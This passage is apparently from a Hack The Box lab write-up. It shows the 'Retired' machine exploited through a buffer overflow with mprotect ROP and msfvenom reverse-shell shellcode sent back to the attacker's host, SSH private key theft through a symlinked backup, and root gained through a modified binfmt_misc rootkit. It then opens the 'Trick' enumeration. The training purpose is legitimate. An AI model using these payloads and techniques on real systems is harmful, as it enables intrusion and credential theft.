Additionally, `RELRO` is set to full: "Full RELRO makes the entire GOT read-only which removes the ability to perform a "GOT overwrite" attack, where the GOT address of a function is overwritten with the location of another function or a ROP gadget an attacker wants to run" ([source](https://ctf101.org/binary-exploitation/relocation-read-only/)). Therefore, we cannot perform an attack similar to the one from [PicoCTF 2019's GoT](https://picoctf2019.haydenhousen.com/binary-exploitation/got). Finally, PIE is enabled: "PIE stands for Position Independent Executable, which means that every time you run the file it gets loaded into a different memory address. This means you cannot hardcode values such as function addresses and gadget locations without finding out where they are" ([source](https://ir0nstone.gitbook.io/notes/types/stack/pie)).
We are going to use GDB to get the offset for this buffer overflow attack. There are many projects that exist to fill in the gaps in the GDB debugger: [pwndbg](https://github.com/pwndbg/pwndbg), [peda](https://github.com/longld/peda), [GEF](https://github.com/hugsy/gef). For some reason, when using normal GDB or [GEF](https://github.com/hugsy/gef), GDB doesn't pick up the `SIGSEGV, Segmentation fault` when we send our input. Thus, we cannot read the RSP. However, when I used [peda](https://github.com/longld/peda), it worked! So, use peda. This issue probably happens because the program forks when it receives a request. According to [this StackOverflow answer](https://stackoverflow.com/a/15127892), we can run `set follow-fork-mode child`, but this doesn't work (unless peda is used of course).
To exploit this buffer overflow vulnerability, we need to get the offset, which cannot be easily automated like usual since the program receives input via a port. Launch GDB-PEDA with `gdb --args ./activate_license 1338` and run it with `run`. Then, run the below script, which uses pwntools to connect to the program and send a pattern that can be used to determine the offset (this can also be done with `pattern_create 700` in GDB-PEDA, but then the request needs to be sent manually):
```python
from pwn import *
io = remote('127.0.0.1', 1338)
payload_size = 700
size_value = p32(payload_size, endian='big') # 32 bit big endian
payload = [size_value, cyclic(payload_size)]
payload = b"".join(payload)
io.send(payload)
```
Upon running the above script, GDB-PEDA should produce the following:
```
[+] accepted client connection from 127.0.0.1:53989
[Attaching after Thread 0x7ffff7b0a480 (LWP 72309) fork to child process 72392]
[New inferior 2 (process 72392)]
[Detaching after fork from parent process 72309]
[Inferior 1 (process 72309) detached]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[+] reading 700 bytes
[+] activated license: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag
Thread 2.1 "activate_licens" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff7b0a480 (LWP 72392)]
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.
Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
RAX: 0x2d4
RBX: 0x5555555557c0 (<__libc_csu_init>: push r15)
RCX: 0x0
RDX: 0x0
RSI: 0x0
RDI: 0x7fffffffb430 --> 0x7ffff7cc9d90 (<__funlockfile>: mov rdi,QWORD PTR [rdi+0x88])
RBP: 0x6661616566616164 ('daafeaaf')
RSP: 0x7fffffffbbc8 ("faafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag")
RIP: 0x5555555555c0 (: ret)
R8 : 0x0
R9 : 0x7ffff7e030c0 --> 0x0
R10: 0x7ffff7e02fc0 --> 0x0
R11: 0x246
R12: 0x555555555220 (<_start>: xor ebp,ebp)
R13: 0x0
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x5555555555b9 : call 0x5555555550b0
0x5555555555be : nop
0x5555555555bf : leave
=> 0x5555555555c0 : ret
0x5555555555c1 : push rbp
0x5555555555c2 : mov rbp,rsp
0x5555555555c5 : sub rsp,0x60
0x5555555555c9 : mov DWORD PTR [rbp-0x54],edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffbbc8 ("faafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag")
0008| 0x7fffffffbbd0 ("haafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag")
0016| 0x7fffffffbbd8 ("jaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag")
0024| 0x7fffffffbbe0 ("laafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag")
0032| 0x7fffffffbbe8 ("naafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag")
0040| 0x7fffffffbbf0 ("paafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag")
0048| 0x7fffffffbbf8 ("raafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag")
0056| 0x7fffffffbc00 ("taafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00005555555555c0 in activate_license (sockfd=0x4) at activate_license.c:64
64 activate_license.c: No such file or directory.
```
Now, run `x/wx $rsp` to get the RSP, which we overwrote: `0x7fffffffbbc8: 0x66616166`. The value can also be viewed in the output above: `faaf`. Finally, run `python -c 'from pwn import *; print(cyclic_find(unhex("66616166")[::-1]))'` to find the offset of those 4 bytes in the pattern. We get an offset of `520`.
Now for the actual exploit. We are going to use `sys_mprotect` to turn off the NX protection using an approach similar to [this guide](https://syrion.me/blog/elfx64-bypass-nx-with-mprotect/). Other resources: [ROP Exploit – MProtect() and Shellcode](https://failingsilently.wordpress.com/2017/12/17/rop-exploit-mprotect-and-shellcode/) and [ARM Exploitation — Defeating NX By Invoking mprotect() Using ROP](https://infosecwriteups.com/arm-exploitation-defeating-nx-by-invoking-mprotect-using-rop-1450b6667c16).
From the linx man pages, we know that "mprotect() changes the access protections for the calling process's memory pages containing any part of the address range in the interval \[addr, addr+len-1]." The function has this syntax: `int mprotect(void *addr, size_t len, int prot);`. We will set the `addr` to the beginning of the stack, `len` to the size of the stack, and `prot` to `0x7`, which stands for RWX. This will make the entire stack executable.
The calling convention for ELF 64 is the following:
* Arguments in RDI, RSI, RDX, RCX, R8, R9
* Return Value in RAX
So we need to put the stack address in the RDI register, the length in the RSI register and the value `0x7` in the RDX register. The [aforementioned guide](https://syrion.me/blog/elfx64-bypass-nx-with-mprotect/) uses [ROPgadget](https://github.com/JonathanSalwan/ROPgadget) to do this, which is a great tool, but we we can do it automatically with pwntools.
The issue is we don't have those values. Additionally, the machine probably has ASLR enabled, which makes them randomize each time the program is started. However, due to the LFI exploit, we can read `/proc/$PID/maps`. "Each row in `/proc/$PID/maps` describes a region of contiguous virtual memory in a process or thread" ([source](https://stackoverflow.com/a/1401595)). You can learn more from the [linux kernel documentation](https://www.kernel.org/doc/html/latest/filesystems/proc.html#process-specific-subdirectories) and [this post](https://www.linkedin.com/pulse/hacking-proc-filesystem-memory-arthur-damm).
We can get the maps for process `406`, the `activate_license` process, like so:
```
curl http://10.10.11.154/index.php\?page\=/proc/406/maps
55e0aa5a0000-55e0aa5a1000 r--p 00000000 08:01 2408 /usr/bin/activate_license
55e0aa5a1000-55e0aa5a2000 r-xp 00001000 08:01 2408 /usr/bin/activate_license
55e0aa5a2000-55e0aa5a3000 r--p 00002000 08:01 2408 /usr/bin/activate_license
55e0aa5a3000-55e0aa5a4000 r--p 00002000 08:01 2408 /usr/bin/activate_license
55e0aa5a4000-55e0aa5a5000 rw-p 00003000 08:01 2408 /usr/bin/activate_license
55e0ab5ba000-55e0ab5db000 rw-p 00000000 00:00 0 [heap]
7f91a2a27000-7f91a2a29000 rw-p 00000000 00:00 0
7f91a2a29000-7f91a2a2a000 r--p 00000000 08:01 3635 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f91a2a2a000-7f91a2a2c000 r-xp 00001000 08:01 3635 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f91a2a2c000-7f91a2a2d000 r--p 00003000 08:01 3635 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f91a2a2d000-7f91a2a2e000 r--p 00003000 08:01 3635 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f91a2a2e000-7f91a2a2f000 rw-p 00004000 08:01 3635 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f91a2a2f000-7f91a2a36000 r--p 00000000 08:01 3645 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f91a2a36000-7f91a2a46000 r-xp 00007000 08:01 3645 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f91a2a46000-7f91a2a4b000 r--p 00017000 08:01 3645 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f91a2a4b000-7f91a2a4c000 r--p 0001b000 08:01 3645 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f91a2a4c000-7f91a2a4d000 rw-p 0001c000 08:01 3645 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f91a2a4d000-7f91a2a51000 rw-p 00000000 00:00 0
7f91a2a51000-7f91a2a60000 r--p 00000000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f91a2a60000-7f91a2afa000 r-xp 0000f000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f91a2afa000-7f91a2b93000 r--p 000a9000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f91a2b93000-7f91a2b94000 r--p 00141000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f91a2b94000-7f91a2b95000 rw-p 00142000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f91a2b95000-7f91a2bba000 r--p 00000000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f91a2bba000-7f91a2d05000 r-xp 00025000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f91a2d05000-7f91a2d4f000 r--p 00170000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f91a2d4f000-7f91a2d50000 ---p 001ba000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f91a2d50000-7f91a2d53000 r--p 001ba000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f91a2d53000-7f91a2d56000 rw-p 001bd000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f91a2d56000-7f91a2d5a000 rw-p 00000000 00:00 0
7f91a2d5a000-7f91a2d6a000 r--p 00000000 08:01 5321 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f91a2d6a000-7f91a2e62000 r-xp 00010000 08:01 5321 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f91a2e62000-7f91a2e96000 r--p 00108000 08:01 5321 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f91a2e96000-7f91a2e9a000 r--p 0013b000 08:01 5321 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f91a2e9a000-7f91a2e9d000 rw-p 0013f000 08:01 5321 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f91a2e9d000-7f91a2e9f000 rw-p 00000000 00:00 0
7f91a2ea4000-7f91a2ea5000 r--p 00000000 08:01 3630 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f91a2ea5000-7f91a2ec5000 r-xp 00001000 08:01 3630 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f91a2ec5000-7f91a2ecd000 r--p 00021000 08:01 3630 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f91a2ece000-7f91a2ecf000 r--p 00029000 08:01 3630 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f91a2ecf000-7f91a2ed0000 rw-p 0002a000 08:01 3630 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f91a2ed0000-7f91a2ed1000 rw-p 00000000 00:00 0
7ffd35848000-7ffd35869000 rw-p 00000000 00:00 0 [stack]
7ffd358d3000-7ffd358d7000 r--p 00000000 00:00 0 [vvar]
7ffd358d7000-7ffd358d9000 r-xp 00000000 00:00 0 [vdso]
```
So, from the above output we know that the libc base is at `7f91a2b95000`, the libsqlite3 base is at `7F91A2D5A000`, the stack start is at `7ffd35848000`, and the stack end is at `7ffd35869000`.
We can write a python function to get these values programatically:
```python
def get_addresses(pid):
r = requests.get(
f"http://10.10.11.154/index.php?page=/proc/{pid}/maps", allow_redirects=False
)
libc_line = re.search("^.*libc.*$", r.text, re.M).group(0)
libc_base = int(libc_line.split("-")[0], 16)
libc_path = libc_line.split(" ")[-1]
libsqlite_line = re.search("^.*libsqlite.*$", r.text, re.M).group(0)
libsqlite_base = int(libsqlite_line.split("-")[0], 16)
libsqlite_path = libsqlite_line.split(" ")[-1]
stack_line = re.search("^.*\[stack\].*$", r.text, re.M).group(0).split("-")
stack_base = int(stack_line[0], 16)
stack_end = int(stack_line[1].split()[0], 16)
return libc_base, libc_path, libsqlite_base, libsqlite_path, stack_base, stack_end
```
The `re.M` flag makes `^` and `$` "match at the start or end of any line within the input string instead of the start or end of the entire string" ([source](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)). We also get the path for libc and libsqlite so we can use them with pwntools automatic gadget finder.
Alright, we have the offset, the library bases, the library paths, and the exploit arguments. Now all we need is some shell code. We can execute `msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.116 LPORT=55455 -f py` to get some shellcode from Metasploit that will spawn a reverse shell:
```python
buf = b""
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48"
buf += b"\x97\x48\xb9\x02\x00\xd8\x9f\x0a\x0a\x0e\x74\x51\x48"
buf += b"\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e"
buf += b"\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58"
buf += b"\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48"
buf += b"\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"
```
Finally, we write [exploit.py](https://github.com/HHousen/hack-the-box/blob/master/Machines/Retired/exploit.py) to encapsulate all these ideas and actually perform the attack. Run a listener with pwncat by running `pwncat-cs -lp 55455` (or use netcat with `nc -nvlp 55455`). This gives us a shell as the `www-data` user.
## Lateral Movement
We start in `/var/www`, which has a few strange dated ZIP files that vary by 1 minute in creation date:
```
(remote) www-data@retired:/var/www$ ls -la
total 1512
drwxrwsrwx 3 www-data www-data 4096 Aug 5 05:10 .
drwxr-xr-x 12 root root 4096 Mar 11 14:36 ..
-rw-r--r-- 1 dev www-data 505153 Aug 5 05:08 2022-08-05_05-08-01-html.zip
-rw-r--r-- 1 dev www-data 505153 Aug 5 05:09 2022-08-05_05-09-05-html.zip
-rw-r--r-- 1 dev www-data 505153 Aug 5 05:10 2022-08-05_05-10-05-html.zip
drwxrwsrwx 5 www-data www-data 4096 Mar 11 14:36 html
-rw-r--r-- 1 www-data www-data 12288 Aug 5 05:07 license.sqlite
```
Running `ls` again shows new files, so it looks like they get recreated every minute. Let's run [pspy](https://github.com/DominicBreuker/pspy) to see what is happening. You can upload this tool easily with `pwncat`'s built-in `upload` command. This doesn't reveal anything.
We run [LinPEAS](https://github.com/carlospolop/PEASS-ng/blob/master/linPEAS/README.md) and look for anything that runs each minute. We see this output:
```
╔══════════╣ System timers
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers
NEXT LEFT LAST PASSED UNIT ACTIVATES
Fri 2022-08-05 05:21:00 UTC 33s left Fri 2022-08-05 05:20:01 UTC 24s ago website_backup.timer website_backup.service
```
We run `find / -name website_backup.service 2>/dev/null` to find the file at `/etc/systemd/system/website_backup.service`. Looking at the file, we see that it runs `/usr/bin/webbackup`:
```
(remote) www-data@retired:/tmp$ cat /etc/systemd/system/website_backup.service
[Unit]
Description=Backup and rotate website
[Service]
User=dev
Group=www-data
ExecStart=/usr/bin/webbackup
[Install]
WantedBy=multi-user.target
```
```bash
(remote) www-data@retired:/tmp$ cat /usr/bin/webbackup
#!/bin/bash
set -euf -o pipefail
cd /var/www/
SRC=/var/www/html
DST="/var/www/$(date +%Y-%m-%d_%H-%M-%S)-html.zip"
/usr/bin/rm --force -- "$DST"
/usr/bin/zip --recurse-paths "$DST" "$SRC"
KEEP=10
/usr/bin/find /var/www/ -maxdepth 1 -name '*.zip' -print0 \
| sort --zero-terminated --numeric-sort --reverse \
| while IFS= read -r -d '' backup; do
if [ "$KEEP" -le 0 ]; then
/usr/bin/rm --force -- "$backup"
fi
KEEP="$((KEEP-1))"
done
```
This script runs as the `dev` user and it creates a ZIP file from `/var/www/html` every minute. We can symlink `dev`'s SSH private key into a ZIP file by running `cd /var/www/html && ln -s /home/dev/.ssh/id_rsa id_rsa`. Copy the resulting ZIP file to `/tmp` by running `cp 2022-08-05_05-28-05-html.zip /tmp` and unzip with with `unzip 2022-08-05_05-28-05-html.zip`:
```
Archive: 2022-08-05_05-28-05-html.zip
creating: var/www/html/
creating: var/www/html/js/
inflating: var/www/html/js/scripts.js
inflating: var/www/html/activate_license.php
creating: var/www/html/assets/
inflating: var/www/html/assets/favicon.ico
creating: var/www/html/assets/img/
inflating: var/www/html/assets/img/close-icon.svg
inflating: var/www/html/assets/img/navbar-logo.svg
creating: var/www/html/assets/img/about/
inflating: var/www/html/assets/img/about/2.jpg
inflating: var/www/html/assets/img/about/4.jpg
inflating: var/www/html/assets/img/about/3.jpg
inflating: var/www/html/assets/img/about/1.jpg
creating: var/www/html/assets/img/logos/
inflating: var/www/html/assets/img/logos/facebook.svg
inflating: var/www/html/assets/img/logos/microsoft.svg
inflating: var/www/html/assets/img/logos/google.svg
inflating: var/www/html/assets/img/logos/ibm.svg
creating: var/www/html/assets/img/team/
inflating: var/www/html/assets/img/team/2.jpg
inflating: var/www/html/assets/img/team/3.jpg
inflating: var/www/html/assets/img/team/1.jpg
inflating: var/www/html/assets/img/header-bg.jpg
inflating: var/www/html/beta.html
inflating: var/www/html/default.html
inflating: var/www/html/index.php
inflating: var/www/html/id_rsa
creating: var/www/html/css/
inflating: var/www/html/css/styles.css
```
Now, just download `/tmp/var/www/html/id_rsa`. We can now connect as `dev` by running `ssh dev@10.10.11.154 -i id_rsa` (or use `pwncat-cs`). Finally, get the `user.txt` flag with `cat ~/user.txt`.
## Privilege Escalation
In `dev`'s home folder we get the source code for the `activate_license` program, which is nice: [activate\_license.zip](https://github.com/HHousen/hack-the-box/blob/master/Machines/Retired/activate_license.zip).
We look through the `/home/dev/emuemu/` directory:
```
(remote) dev@retired:/home/dev$ ls -la emuemu/
total 68
drwx------ 3 dev dev 4096 Mar 11 14:36 .
drwx------ 6 dev dev 4096 Aug 5 05:33 ..
-rw------- 1 dev dev 673 Oct 13 2021 Makefile
-rw------- 1 dev dev 228 Oct 13 2021 README.md
-rw------- 1 dev dev 16608 Oct 13 2021 emuemu
-rw------- 1 dev dev 168 Oct 13 2021 emuemu.c
-rw------- 1 dev dev 16864 Oct 13 2021 reg_helper
-rw------- 1 dev dev 502 Oct 13 2021 reg_helper.c
drwx------ 2 dev dev 4096 Mar 11 14:36 test
(remote) dev@retired:/home/dev$ cat emuemu/emuemu.c
#include
/* currently this is only a dummy implementation doing nothing */
int main(void) {
puts("EMUEMU is still under development.");
return 1;
}
(remote) dev@retired:/home/dev$ ls -la emuemu/test/
total 12
drwx------ 2 dev dev 4096 Mar 11 14:36 .
drwx------ 3 dev dev 4096 Mar 11 14:36 ..
-rwxr-xr-x 1 dev dev 70 Oct 13 2021 examplerom
(remote) dev@retired:/home/dev$ cat emuemu/test/examplerom
7OSTRICHROM
this is a minimal rom with a valid file type signature
```
The actually interesting file is `emuemu/reg_helper.c`:
```
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
int main(void) {
char cmd[512] = { 0 };
read(STDIN_FILENO, cmd, sizeof(cmd)); cmd[-1] = 0;
int fd = open("/proc/sys/fs/binfmt_misc/register", O_WRONLY);
if (-1 == fd)
perror("open");
if (write(fd, cmd, strnlen(cmd,sizeof(cmd))) == -1)
perror("write");
if (close(fd) == -1)
perror("close");
return 0;
}
```
Searching for "/proc/sys/fs/binfmt\_misc/register" finds [this StackOverflow answer](https://stackoverflow.com/a/68885059), which states that this file is "an interface to the kernel's mechanism for setting up binary formats."
Furthermore, the `/home/dev/emuemu/Makefile` contains some helpful information:
```
(remote) dev@retired:/home/dev/emuemu$ cat Makefile
CC := gcc
CFLAGS := -std=c99 -Wall -Werror -Wextra -Wpedantic -Wconversion -Wsign-conversion
SOURCES := $(wildcard *.c)
TARGETS := $(SOURCES:.c=)
.PHONY: install clean
install: $(TARGETS)
@echo "[+] Installing program files"
install --mode 0755 emuemu /usr/bin/
mkdir --parent --mode 0755 /usr/lib/emuemu /usr/lib/binfmt.d
install --mode 0750 --group dev reg_helper /usr/lib/emuemu/
setcap cap_dac_override=ep /usr/lib/emuemu/reg_helper
@echo "[+] Register OSTRICH ROMs for execution with EMUEMU"
echo ':EMUEMU:M::\x13\x37OSTRICH\x00ROM\x00::/usr/bin/emuemu:' \
| tee /usr/lib/binfmt.d/emuemu.conf \
| /usr/lib/emuemu/reg_helper
clean:
rm -f -- $(TARGETS)
```
The `reg_helper` file is also located at `/usr/lib/emuemu/reg_helper` and has the `cap_dac_override` capability. This means it can "bypass file read, write, and execute permission checks" ([source](https://man7.org/linux/man-pages/man7/capabilities.7.html)).
Searching for exploits involving `/proc/sys/fs/binfmt_misc/register` finds [toffan/binfmt\_misc](https://github.com/toffan/binfmt_misc), which looks promising. We also find **these two amazing blog posts summarizing the issue we are about to exploit**:
* [What is SUID? Shadow SUID for Privilege Persistence: Part 1](https://www.sentinelone.com/blog/shadow-suid-for-privilege-persistence-part-1/)
* [SUID Linux: Shadow SUID for Privilege Persistence: Part 2](https://www.sentinelone.com/blog/shadow-suid-privilege-persistence-part-2/)
When we run a command on linux, "the kernel reads the first 128 characters of the file. It then iterates over the registered binary-format-handlers to determine which handler should be used. That way, when we execute a file that begins with a #! shebang, the kernel knows it is a script, and the binfmt\_script handler is used to find the relevant interpreter (as indicated after the shebang). Similarly, when the file begins with x7fELF, the kernel knows it is a regular Linux binary, and the binfmt\_elf handler is used to load the binary into the elf interpreter."
Within the `/proc/sys/fs/binfmt_misc` directory, we see an `EMUEMU` file. If we `cat` it, we get:
```
enabled
interpreter /usr/bin/emuemu
flags:
offset 0
magic 13374f53545249434800524f4d00
```
So, files begining with the magic bytes `13374f53545249434800524f4d00` will be executed by `/usr/bin/emuemu`. If we decode those bytes from hex we get `.7OSTRICH.ROM.`, which are the first few bytes of the example ROM file we found in `dev`'s home directory.
In order to use [toffan/binfmt\_misc](https://github.com/toffan/binfmt_misc), we need to be able to write to `/proc/sys/fs/binfmt_misc/register`. We can do this because the `/usr/lib/emuemu/reg_helper` file has the aforementioned capability to bypass file write checks. The script will register a new interpreter with `binfmt_misc` linked to the magic bytes of a random SUID binary. That new interpreter will run `/bin/sh`. Thus, when that random SUID binary is executed, Linux will find it's magic bytes registered with `binfmt_misc` and execute our interpreter with the permissions of the file executed. Since the file executed is SUID, we will get a root shell.
A more simple example is registering an entry for Python files with the first few bytes of a python file. With that interpreter added to `binfmt_misc`, you could run Python files without shebang headers directly without using the `python` command. Now, if you made your Python script a SUID binary, ran `os.setuid(0);os.setgid(0)` within it, and executed it, it would run as `root` even though the Python interepreter is not SUID. That is what we are doing with the [toffan/binfmt\_misc](https://github.com/toffan/binfmt_misc) script. When a SUID binary is executed, it will execute our interpreter as `root` and we can set its UID/GID to `root` and then spawn a shell.
We download the [exploit](https://github.com/toffan/binfmt_misc/blob/master/binfmt_rootkit) and modify it slightly. We remove the following two pieces of code that check if `/proc/sys/fs/binfmt_misc/register` is writeable, since it is not writeable:
```bash
function not_writeable()
{
test ! -w "$mountpoint/register"
}
```
```bash
not_writeable && die "Error: $mountpoint/register is not writeable"
```
Finally, change `echo "$binfmt_line" > "$mountpoint"/register` to `echo "$binfmt_line" | /usr/lib/emuemu/reg_helper` so we write to the `reg_helper` file (which will write to `/proc/sys/fs/binfmt_misc/register`) instead of writing directly to `/proc/sys/fs/binfmt_misc/register`.
Running [binfmt\_rootkit](https://github.com/HHousen/hack-the-box/blob/master/Machines/Retired/binfmt_rootkit/README.md) (our modified exploit) will immediately spawn a root shell. Get the `root.txt` flag with `cat /root/root.txt`.
# Trick
## Summary
Nmap finds SSH, SMTP, DNS, and HTTP (Nginx). We use `dig` to perform a reverse DNS lookup on the ip address of the box, which tells us that the box's domain name is `trick.htb`. Then, we use `dig` again to get the zone transfers for `trick.htb`, which shows us the `preprod-payroll` virtual host. This vhost has a login form, which we find is vulnerable to a basic SQL injection. Then, we use [sqlmap](https://github.com/sqlmapproject/sqlmap) to exploit this vulnerability and dump the database. The credentials we find in the database are not useful, but we can use `sqlmap` to read files on the box.
We read the nginx configuration file and discover the `preprod-marketing` vhost. We fuzz this new vhost a little, but we do not find anything. So, using the SQLi from `preprod-payroll`, we get the source code for `preprod-marketing` and discover a LFI exploit. Since `preprod-marketing` is running as the `michael` user, we are able to get their SSH private key. This gives us the `user.txt` flag.
Now that we are on the machine, we run [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) and discover that we can run `/etc/init.d/fail2ban restart` as root and that we can write to the directory `/etc/fail2ban/action.d`. [This article](https://youssef-ichioui.medium.com/abusing-fail2ban-misconfiguration-to-escalate-privileges-on-linux-826ad0cdafb7) explains the exploit. Basically, we can overwrite the default ban action since we can write to the fail2ban `action.d` folder. We restart fail2ban so our new configuration change becomes active. Then, we spam SSH with invalid logins to trigger a band, thus running our custom command, which will write the `root.txt` flag to a file we can read.
## Enumeration
### Nmap
First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.166 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -p$ports -sC -sV 10.10.11.166`.
```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
| 256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_ 256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open http nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Service Info: Host: debian.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
We have SSH, SMTP, DNS, and HTTP (Nginx).
### Website (Port `80`)
We try bruteforcing directories by running `ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://10.10.11.166/FUZZ`, which finds nothing.
### DNS
We can perform a reverse DNS lookup of the IP address of the box by running `dig -x 10.10.11.166 @10.10.11.166`:
```
; <<>> DiG 9.18.4-2-Debian <<>> -x 10.10.11.166 @10.10.11.166
;; global options: +cmd
;; Got answer:
